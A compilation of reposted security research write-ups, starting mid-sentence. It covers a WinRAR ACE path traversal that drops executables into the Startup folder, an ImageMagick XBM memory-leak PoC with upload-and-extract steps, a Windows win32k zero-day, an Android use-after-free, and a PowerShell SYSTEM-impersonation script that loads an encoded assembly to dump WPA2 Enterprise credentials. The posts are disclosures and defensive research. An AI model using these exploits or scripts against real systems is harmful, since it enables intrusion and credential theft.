But it doesn’t check for the  “C:\Therefore, we can use option 1’ to exploit the Path Traversal Vulnerability!

We also found an SMB attack vector, which enables it to connect to an arbitrary IP address and create files and folders in arbitrary paths on the SMB server.

Example:
C:\\\10.10.10.10\smb_folder_name\some_folder\some_file.ext => \\10.10.10.10\smb_folder_name\some_folder\some_file.ext

Example of a Simple Exploit File

We change the .ace extension to .rar extension, because WinRAR detects the format by the content of the file and not by the extension.

This is the output from acefile:

Figure 18: Header output by acefile.py of the simple exploit file.

We trigger the vulnerability by the crafted string of the filename field (in green).

This archive will be extracted to C:\some_folder\some_file.txt no matter what the path of the destination folder is.

Creating a Real Exploit

We can gain code execution, by extracting a compressed executable file from the ACE archive to one of the Startup Folders. Any files that reside in the Startup folders will be executed at boot time.
To craft an ACE archive that extracts its compressed files to the Startup folder seems to be trivial, but it’s not.
There are at least 2 Startup folders at the following paths:

  1. C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
  2. C:\Users\<user name>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

The first path of the Startup folder demands high privileges / high integrity level (in case the UAC is on). However, WinRAR runs by default with a medium integrity level.

The second path of the Startup folder demands to know the name of the user.

We can try to overcome it by creating an ACE archive with thousands of crafted compressed files, any one of which contains the path to the Startup folder but with different <user name>, and hope that it will work in our target.

The Most Powerful Vector

We have found a vector which allows us to extract a file to the Startup folder without caring about the <user name>.

By using the following filename field in the ACE archive:

C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe

It is translated to the following path by the CleanPath function (Figure 17):

C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe

Because the CleanPath function removes the “C:\C: ” sequence.

Moreover, this destination folder will be ignored because the GetDevicePathLen function (Figure 16) will return 2 for the last “C:” sequence.

Let’s analyze the last path:

The sequence “C:” is translated by Windows to the “current directory” of the running process. In our case, it’s the current path of WinRAR.

If WinRAR is executed from its folder, the “current directory” will be this WinRAR folder: C:\Program Files\WinRAR

However, if WinRAR is executed by double clicking on an archive file or by right clicking on “extract” in the archive file, the “current directory” of WinRAR will be the path to the folder that the archive resides in.

Figure 19: WinRAR’s extract options (WinRAR’s shell extension added to write click)

For example, if the archive resides in the user’s Downloads folder, the “current directory” of WinRAR will be:
  C:\Users\<user name>\Downloads
If the archive resides in the Desktop folder, the “current directory” path will be:
  C:\Users\<user name>\Desktop

To get from the Desktop or Downloads folder to the Startup folder, we should go back one folder  “../” to the “user folder”, and concatenate  the relative path to the startup directory: AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ to the following sequence: “C:../

This is the end result:  C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe

Remember that there are 2 checks against path traversal sequences:

  • In the CleanPath function which skips such sequences.
  • In WinRAR’s callback function which aborts the extraction operation.

CleanPath checks for the following path traversal pattern: “\..\

The WinRAR’s callback function checks for the following patterns:

  1. “\..\”
  2. “\../”
  3. “/../”
  4. “/..\”

Because the first slash or backslash are not part of our sequence “C:../”, we can bypass the path traversal validation. However, we can only go back one folder. It’s all we need to extract a file to the Startup folder without knowing the user name.

Note: If we want to go back more than one folder, we should concatenate the following sequence “/../”. For example, “C:../../” and the “/../” sequence will be caught be the callback validator function and the extraction will be aborted.

Demonstration (POC)

Side Note

Toward the end of our research, we discovered that WinACE created an extraction utility like unacev2.dll for linux which is called unace-nonfree (compiled using Watcom compiler). The source code is available.
The source code for Windows (which unacev2.dll was built from) is included as well, but it’s older than the last version of unacev2.dll , and can’t be compiled/built for Windows. In addition,  some functionality is missing in the source code – for example, the checks in Figure 17 are not included.

However, Figure 16 was taken from the source code.
We also found the Path Traversal bug in the source code. It looks like this:

Figure 20:  The path traversal bug in the source code of unace-nonfree


CVEs:

CVE-2018-20250, CVE-2018-20251, CVE-2018-20252, CVE-2018-20253.

WinRAR’s Response

WinRAR decided to drop UNACEV2.dll from their package, and WinRAR doesn’t support ACE format from version number: “5.70 beta 1”.

Quote from WinRAR website:

“Nadav Grossman from Check Point Software Technologies informed us about a security vulnerability in UNACEV2.DLL library.
Aforementioned vulnerability makes possible to create files in arbitrary folders inside or outside of destination folder 
when unpacking ACE archives. 
WinRAR used this third party library to unpack ACE archives.
UNACEV2.DLL had not been updated since 2005 and we do not have access to its source code.
So we decided to drop ACE archive format support to protect security of WinRAR users.

We are thankful to Check Point Software Technologies for reporting  this issue.“

Check Point’s SandBlast Agent Behavioral Guard protect against these threats.

Check Point’s IPS blade provides protections against this threat: “RARLAB WinRAR ACE Format Input Validation Remote Code Execution (CVE-2018-20250)”

Yet another memory leak in ImageMagick or how to exploit CVE-2018–16323.

( Original text by barracud4_ )

Hi, in this article we’ll talk about ImageMagick vulnerabilities.

TL;DR:
PoC generator for CVE-2018–16323 (Memory leakage via XBM images in ImageMagick)

What is the ImageMagick? From imagemagick.org:

Use ImageMagick® to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.

This is a very rich library for processing images. If you google “how to resize a picture in php” or “how to crop an image”, then most likely you will find advice on how to use ImageMagick. This library has long had security problems. And today we will look at a fresh vulnerability and recall some old ones.


Part 1 — Yet another memory leak

For the past two years vulnerabilities in ImageMagick libraries have appeared almost every month. Fortunately, many of them are some kind of not applicable DoS, which does not pose serious security problems. But recently we have noticed an interesting CVE-2018–16323.

Sounds easy! But we didn’t find any information about exploit for this vulnerability.

Look at the commit referenced to the CVE:

“XBM coder leaves the hex image data uninitialized if hex value of the pixel is negative“

Hmm.. Let’s explore the XBM file format. A common XBM image looks like this:

Which is very similar to C code. This format is very old and was used in X Window System to store cursor and icon bitmaps used in the X GUI. Each value in keyboard16_bits array represents 8 pixels, each pixel is a single bit and encodes one of two colors — black or white. So there are no negative pixels as one pixel has only two possible values. Hereinafter we will call that array as XBM body array.

Let’s look closer at the ImageMagick code and find out what a “pixel is negative” means at commit details. We need a ReadXBMImage() function. This function reads an image and prepares data for image processing. Seems like variable image contains the image data being processed (Line 225).

Next, at lines 344–348 there is a memory allocation and pointer data now points to the allocated memory start address. Also pointer points to the same address.

Memory allocation

Next 352–360 and 365–371, same code but for different versions of XBM image. As can be seen from the commit both branches are equally vulnerable, so we will consider just one of them. XBM body array reading occurs in the function XBMInteger() which returns an int to variable . Further at line 358the value stored in variable c is put to variable by p pointer, then the pointer is incremented.

Allocated memory filling

In the commit we see that in the previous version variable was checked for negative value, and if it was negative then the loop ended with a break, and that’s why memory leak appeared. If the first value of XBM body array is negative then all allocated memory remains uninitialized and may contain sensitive data from memory, which will be further processed and a new image will be generated from this data. In patched version it was changed, now if value of XBM body array is negative then ImageMagick throws an error.

Now let’s take a closer look at the XBMInteger() function. It takes a pointer image and pointer hex_digits as arguments. The latter is an array which is initilized at line 305. This function maps allowed values to hex values in XBM body array. XBMInteger() reads next byte defined in XBM body array and puts it to unsigned int variable value. There is an interesting moment, this function reads hex-symbols until the stop token appears. This means that we can specify hex values of arbitrary length and so instead of the expected range between 0–255 values for char we can set any unsigned int value which will be stored in variable value. And next fatal fact is that variable valueconverted to signed int… Bingo!

Convert unsigned int to int is a bad idea

So we just need to set a value to XBM body array which will be converted to negative int. It is any value above 2,147,483,647 or 0x80000000 in hex. That’s the whole PoC:

#define test_width 500
#define test_height 500
static char test_bits[] = {
0x80000001, };

The amount of leaked memory depends on how you set the height and width parameters. If you set 500×500, therefore, 31250 (500*500/8) bytes will leak! But it depends on how application uses ImageMagick, it may be that it cuts the image to a certain height and width.

While we were testing this PoC, we encountered a problem. Not all the ImageMagick versions below 7.0.8–9 appeared to be vulnerable as described at cvedetails. We found another commit that fixed another vulnerability — CVE-2017–14175 which is a DoS vulnerability for XBM Images processing. And as you can see, it was this particular commit that brought the vulnerability into the code.

Okay let’s try the PoC. Let’s install one of the vulnerable versions (e.g. 6.9.9–51). Now, running convert poc.xbm poc.png we will call processing XBM images in xbm.c file. And therefore call vulnerable code.

The resulting image should be like this:

Image contains leaked memory

You can see some noise on the resulting image, this is a leaked memory, each black or white pixel is a bit of information from leaked memory. If you repeat convert, then you will likely get another image, because another memory chunk will be caught.

What do we need to extract leaked memory bytes?

Simply convert it back, convert poc.png leak.xbm, now we see leaked memory bytes in XBM body array and this is very easy to parse format. Extract it and get leaked memory bytes.

So,

  1. Generate a PoC;
  2. Upload it to your avatar on vulnerable application;
  3. Save resulting png/jpg/gif image;
  4. Extract data from image.

ttffdd wrote a simple easy to use tool for this vulnerability called XBadManners. It generates a PoC and recovers leaked data from image.

Notice! That ImageMagick is a smart library and you can upload a poc.pngwhich contains XBM image data to the server and if the image type is not checked properly, then ImageMagick will process poc.png as an XBM image. So if you just check the filetype of the uploaded file for the “*.png” matches, then this will not save you.


Part 2 — Is ImageMagick secure?

Short answer — probably not.

It is not the first serious vulnerability found in ImageMagick software. There are plenty of vulnerabilities. ImageMagick has almost 500 known fixed vulnerabilities! Every month there are new vulnerabilities found that may be difficult to exploit or not applicable, and a couple of times a year some serious vulnerabilities with high impact show up.

Here is a top list of widely known ImageMagick vulnerabilities.

ImageTragick. The most famous series of vulnerabilities in ImageMagick. It includes RCESSRFLocal File Read/Move/Delete in svg and mvg files. It was discovered in April 2016 by stewie and Nikolay Ermishkin.

  • CVE-2016–3714 — RCE
  • CVE-2016–3718 — SSRF
  • CVE-2016–3715 — File deletion
  • CVE-2016–3716 — File moving
  • CVE-2016–3717 — Local file read

Patch was available in 6.9.3–9 released 2016–04–30 ImageMagick version. This vulnerability was quite popular with bughunters:

CVE-2017–15277 a.k.a. gifoeb. Discovered by Emil Lerner in 2017 July. This vulnerability is a memory leakage in GIF images processing. ImageMagick leaves the palette uninitialized if neither global nor local palette is present, and a memory leak occurs exactly through the palette. This rather limited the length of the leaked data. This vulnerability was also popular with bughunters.

GhostScript Type Confusion RCE (CVE-2017–8291). Was discovered in May 2017. It’s not an ImageMagick vulnerability, but it affects it as ImageMagick uses ghostscript to handle certain types of images with PostScript, i.e. EPS, PDF files.

CVE-2018–16509, another RCE in GhostScript, was published in August 2018. Also affects ImageMagick as it is in GhostScript like the previous bug.

How many other vulnerabilities that carry serious security problems remain unknown? We do not know. We have specially prepared a small history of ImageMagick security infographic.

History of ImageMagick security

Part 3 — How can we use ImageMagick in a secure way?

Stop using ImageMagick? Maybe, but..

We do not tell you to stop using the ImageMagick. We advise you to do this in a safe way to reduce information security risks.

First, as you may have noticed ImageMagick has a lot of vulnerabilities constantly appearing and therefore it is also updated frequently. If you use ImageMagick then watch for new versions and make sure the latest version is installed at all times. Notice that ImageMagick is not frequently updated in official repositories so it may contain old vulnerable versions. It is best to install stable ImageMagick version from source code.

But as you can see from our example, fixing old vulnerabilities brings new vulnerabilities 🙂

Therefore, updating ImageMagick may not save you.

Best practice for ImageMagick is to run it in an isolated environment, like Docker. Set minimum required rights for the service that uses ImageMagick. Put it in an isolated network segment with minimal network rights. And use this isolated environment ONLY for a specific task of processing custom user images using ImageMagick.

Also ImageMagick have configured security policy.

Here you can find a detailed guide on the security of ImageMagick from developers.

 

A new exploit for zero-day vulnerability CVE-2018-8589

( Original text by By   )

In October 2018, our Automatic Exploit Prevention (AEP) systems detected an attempt to exploit a vulnerability in Microsoft’s Windows operating system. Further analysis revealed a zero-day vulnerability in win32k.sys. The exploit was executed by the first stage of a malware installer in order to gain the necessary privileges for persistence on the victim’s system. So far, we have detected a very limited number of attacks using this vulnerability. The victims are located in the Middle East.

Kaspersky Lab products detected this exploit proactively using the following technologies:

  • Behavioral Detection Engine and Automatic Exploit Prevention for endpoints
  • Advanced Sandboxing and Anti-Malware Engine for Kaspersky Anti Targeted Attack Platform (KATA)

Kaspersky Lab verdicts for the artifacts in this campaign are:

  • HEUR:Exploit.Win32.Generic
  • HEUR:Trojan.Win32.Generic
  • PDM:Exploit.Win32.Generic

More information about the attack is available to customers of Kaspersky Intelligence Reports. Contact: intelreports@kaspersky.com

Technical details

CVE-2018-8589 is a race condition present in win32k!xxxMoveWindow due to improper locking of messages sent synchronously between threads.

The exploit uses the vulnerability by creating two threads with a class and associated window and moves the window of the opposite thread inside the callback of a WM_NCCALCSIZE message in a window procedure that is common to both threads.

WM_NCCALCSIZE message in win32k!xxxCalcValidRects

Termination of the opposite thread on the maximum level of recursion inside the WM_NCCALCSIZE callback will cause asynchronous copyin of the lParam structure controlled by the attacker.

Lack of proper message locking between win32k!xxxCalcValidRects and win32k!SfnINOUTNCCALCSIZE

The exploit populates lParam with pointers to the shellcode and after being successfully copyied to kernel inside win32k!SfnINOUTNCCALCSIZE, the kernel jumps to the user level. The exploit found in the wild only targeted 32-bit versions of Windows 7.

BSOD on an up-to-date version of Windows 7 with our proof of concept

CVE-2018-9539: Use-after-free vulnerability in privileged Android service

( Original text by Tamir Zahavi-Brunner )

As part of our platform research in Zimperium zLabs, I have recently discovered a vulnerability in a privileged Android service called MediaCasService and reported it to Google. Google designated it as CVE-2018-9539 and patched it in the November security update (2018-11-01 patch level).

In this blog post, I will describe the technical details of this use-after-free vulnerability, along with some background information and the details of the proof-of-concept I wrote that triggers it. Link to the full proof-of-concept is available at the end of the blog post.

MediaCasService

The Android service called MediaCasService (AKA android.hardware.cas) allows apps to descramble protected media streams. The communication between apps and MediaCasService is performed mostly through two interfaces/objects: Cas, which manages the keys (reference: MediaCas Java API), and Descrambler, which performs the actual descramble operation (reference: MediaDescrambler Java API).

Underneath the MediaCasService API, the actual operations are performed by a plugin, which is a library that the service loads. In our case, the relevant plugin is the ClearKey plugin, whose library is libclearkeycasplugin.so.

In order to descramble data, apps need to use both the Cas object and the Descrambler object. The Descrambler object is used for the actual descramble operation, but in order to do that, it needs to be linked to a session with a key. In order to manage sessions and add keys to them, the Cas object is used.

Internally, the ClearKey plugin manages sessions in the ClearKeySessionLibrary, which is essentially a hash table. The keys are session IDs, while the values are the session objects themselves. Apps receive the session IDs which they can use to refer to the session objects in the service.

After creating a session and attaching a key to it, apps are in charge of linking it to a Descrambler object. The descrambler object has a member called mCASSession, which is a reference to its session object and is used in descramble operations. While there is no obligation to do so, once a Descrambler session is linked with a session object, an app can remove that session from the session library. In that case, the only reference to the session object will be through the Descrambler’s mCASSession.

An important note is that references to session objects are held through strong pointers (sp class). Hence, each session object has a reference count, and once that reference count reaches zero the session object is released. References are either through the session library or through a Descrambler’s mCASSession.

The vulnerability

Let’s take a look at ClearKey’s descramble method:

Snippet from frameworks/av/drm/mediacas/plugins/clearkey/ClearKeyCasPlugin.cpp (source)

 

As you can see, the session object referenced by mCASSession is used here in order to decrypt, but its reference count does not increase while it is being used. This means that it is possible for the decrypt function to run with a session object which was released, as its reference count was decreased to zero.

This allows an attacker to cause a use-after-free (the session object will be used after it was freed) through a race condition. Before running descramble, the attacker would remove the reference to the session object from the session library, leaving the Descrambler’s mCASSession as the only reference to the session. Then, the attacker would run descramble at the same time as setting the session of the Descrambler to another session, which can cause a race condition. Setting a different session for the Descrambler would release the original session object (its reference count would drop to zero); if this happens in the middle of mCASSession->decrypt, then decrypt would be using a freed session object.

Proof of concept

Before going into the details of the PoC, there is one note about its effect.

In this PoC, nothing gets allocated instead of the released session object; we just let the decrypt function use a freed object. One of the members of the session object that decrypt uses is a mKeyLock, which is essentially a mutex that decrypt attempts to lock:

Snippet from frameworks/av/drm/mediacas/plugins/clearkey/ClearKeyCasPlugin.cpp (source)

 

As you can expect, when a session object is released, the mutex of its mKeyLock is destroyed. Therefore, when the use-after-free is triggered, decrypt attempts to use an already destroyed mutex.

Interestingly, this is where a recent change comes into place. Up until Android 8.1, attempting to use a destroyed mutex would return an error, which in this case would simply be ignored. Since Android 9, attempting to use a destroyed mutex results in an abort, which crashes the process:

Snippet from bionic/libc/bionic/pthread_mutex.cpp (source)

 

This means that while the PoC should always cause a use-after-free, only Android 9 has a way to detect whether it worked or not. In older versions, there is no noticeable effect. Therefore, the PoC is mainly intended to run on Android 9.

After covering the effect of the PoC, here is a high-level overview of the actions it performs:

  1. Initialize Cas and Descrambler objects.
  2. Use the Cas object in order to create two sessions: session1 and session2. Both of them will be referenced from the session library.
  3. Link session1 to the Descrambler object, and then use the Cas object in order to remove it from the session library. Now, session1 only has a reference from the Descrambler object; its reference count is one.
  4. At the same time:
    • Run multiple threads which perform descramble through the Descrambler object.
    • Set the session of the Descrambler object to session2.
  5. If running descramble in one of the threads did not return, it means that the PoC was successful and the service crashed. If not, retry again from step 2.

Full source code for the PoC is available on GitHub .

Timeline

  • 08.2018 – Vulnerability discovered
  • 08.2018 – Vulnerability details + PoC sent to Google
  • 11.2018 – Google distributed patches

If you have any questions, you are welcome to DM me on Twitter (@tamir_zb).

 

Recovering Plaintext Domain Credentials from WPA2 Enterprise on a Compromised Host

( Original text  )

Introduction

Hello reader. In this post I will explain what I have learned from studying how windows stores credentials for WPA2 Enterprise.

This research conducted me to develop a tool capable of retrieving it, in plaintext! This could be useful when compromising AD workstations that use this kind of authentication in a Wireless Access Point.

Differences between WPA2 PSK and WPA2 Enterprise at Credential storage

To retrieve WPA2 PSK passwords there is no need for administrator rights or even elevated process, but for WPA2 Enterprise, it is needed. Because it is encrypted with SYSTEM DPAPI keys and only this user can decrypt it. So for that we need to own local administrator privileges.

When you first log-in to a WPA2 Enterprise network, DPAPI (Data Protection API) encrypts with the CURRENT USER encryption-key the domain password used to be connect to the AP. The result of this encryption is used to encrypt again, but now with SYSTEM encryption-key, alongside with Domain name and Username used to log-in to the AP.

The function used to decrypt the data, using the current-user DPAPI key is this one.

The procedure is like this:

  1. AP tells computer that log-in was successful with credentials inserted by the user.
  2. User encrypts password with DPAPI keys.
  3. SYSTEM encrypts domain and username with DPAPI keys alongside with output from step 2.
  4. SYSTEM stores data to HKCU registry hive.

How to retrieve this information

Do the reverse operation.

  1. Get data from HKCU registry hive
  2. Turn to SYSTEM and decrypt the first layer, this will decrypt Domain name and Username information.
  3. Revert back to user using RevertToSelf()
  4. Decrypt output from step 2 to get password plaintext data.

Proof-Of-Concept code

Enough of theory. I needed to dump my own credentials.

All code samples I found in the internet used PsExec to get a system shell. I dislike this method, and prefered to create a smooth experience by not relying on any external tool like tools from SysInternals. So I chose to use Token Impersonation from my “How to get system — Part 2” as it was working and only relies on PowerShell. This resulted in the following PowerShell script:

function Get-System 
{
    if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') 
    {
        Write-Output "This powershell shell is not in STA mode!";
        return ;
    }

    if(-not ([System.Management.Automation.PSTypeName]"zc00l.ImpersonationToken").Type) {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("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nACfAAkAoACkAAkApACpAAkAqACuAAkArACzAAkAsAC4AC4ACwApAS4AEwAyAS4AGwBRAS4AIwBaAS4AKwB1AS4AMwB1AS4AOwB1AS4AQwBaAS4ASwB7AS4AUwB1AS4AWwB1AS4AYwCTAS4AawC9AS4AcwDKAeMAewByABMAwAAlAMAAKQDAADQAvQA8AL0AGgAiADwAXgAcBSkFAAEDALkEAQBAAQUAYAcCAEABCQC0BQEAAAELAHMFAQBAAQ0AZAUBAEABDwDUBgEAQAERAGwHAgBAARMA+wQBAASAAAABAAAAAAAAAAAAAAAAANsAAAAEAAAAAAAAAAAAAABpACkCAAAAAAQAAAAAAAAAAAAAAGkAWAUAAAAAAwACAAQAAgAFAAIABgACAAcAAgAnAFkAAAAAPE1vZHVsZT4AVE9LRU5fUkVBRABTVEFOREFSRF9SSUdIVFNfUkVBRABTRV9QUklWSUxFR0VfRU5BQkxFRABTVEFOREFSRF9SSUdIVFNfUkVRVUlSRUQAU0VfUFJJVklMRUdFX1JFTU9WRUQAVE9LRU5fQURKVVNUX1NFU1NJT05JRABMVUlEAFRPS0VOX1FVRVJZX1NPVVJDRQBUT0tFTl9EVVBMSUNBVEUAVE9LRU5fSU1QRVJTT05BVEUAU0VDVVJJVFlfSU1QRVJTT05BVElPTl9MRVZFTABJbXBlcnNvbmF0aW9uVG9rZW5ETEwAUFJPQ0VTU19RVUVSWV9JTkZPUk1BVElPTgBUT0tFTl9QUklWSUxFR0VTAFRPS0VOX0FESlVTVF9QUklWSUxFR0VTAExVSURfQU5EX0FUVFJJQlVURVMAVE9LRU5fQURKVVNUX0dST1VQUwBUT0tFTl9BTExfQUNDRVNTAFNFX1BSSVZJTEVHRV9VU0VEX0ZPUl9BQ0NFU1MAUFJJVklMRUdFX1NFVABUT0tFTl9BREpVU1RfREVGQVVMVABTRV9QUklWSUxFR0VfRU5BQkxFRF9CWV9ERUZBVUxUAEFOWVNJWkVfQVJSQVkAVE9LRU5fQVNTSUdOX1BSSU1BUlkAUFJJVklMRUdFX1NFVF9BTExfTkVDRVNTQVJZAFRPS0VOX1FVRVJZAHZhbHVlX18AU2V0UXVvdGEAbXNjb3JsaWIAcHJvYwBnZXRfSWQAcHJvY2Vzc0lkAFZpcnR1YWxNZW1vcnlSZWFkAENyZWF0ZVRocmVhZABJc1ByaXZpbGVnZUVuYWJsZWQAcGlkAGxwTHVpZABFbmFibGVQcml2aWxlZ2UARHVwbGljYXRlSGFuZGxlAER1cGxpY2F0ZVRva2VuSGFuZGxlAEV4aXN0aW5nVG9rZW5IYW5kbGUAcEhhbmRsZQBQcm9jZXNzSGFuZGxlAGJJbmhlcml0SGFuZGxlAGxwU3lzdGVtTmFtZQBscE5hbWUAVmFsdWVUeXBlAFRlcm1pbmF0ZQBQcmV2aW91c1N0YXRlAE5ld1N0YXRlAFZpcnR1YWxNZW1vcnlXcml0ZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBMb29rdXBQcml2aWxlZ2VWYWx1ZQBTeW5jaHJvbml6ZQBTaXplT2YAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQcml2aWxlZ2VDaGVjawB6YzAwbABNYXJzaGFsAEFsbABhZHZhcGkzMi5kbGwAa2VybmVsMzIuZGxsAEltcGVyc29uYXRpb25Ub2tlbkRMTC5kbGwAQ29udHJvbABTeXN0ZW0ARW51bQBTZXRUaHJlY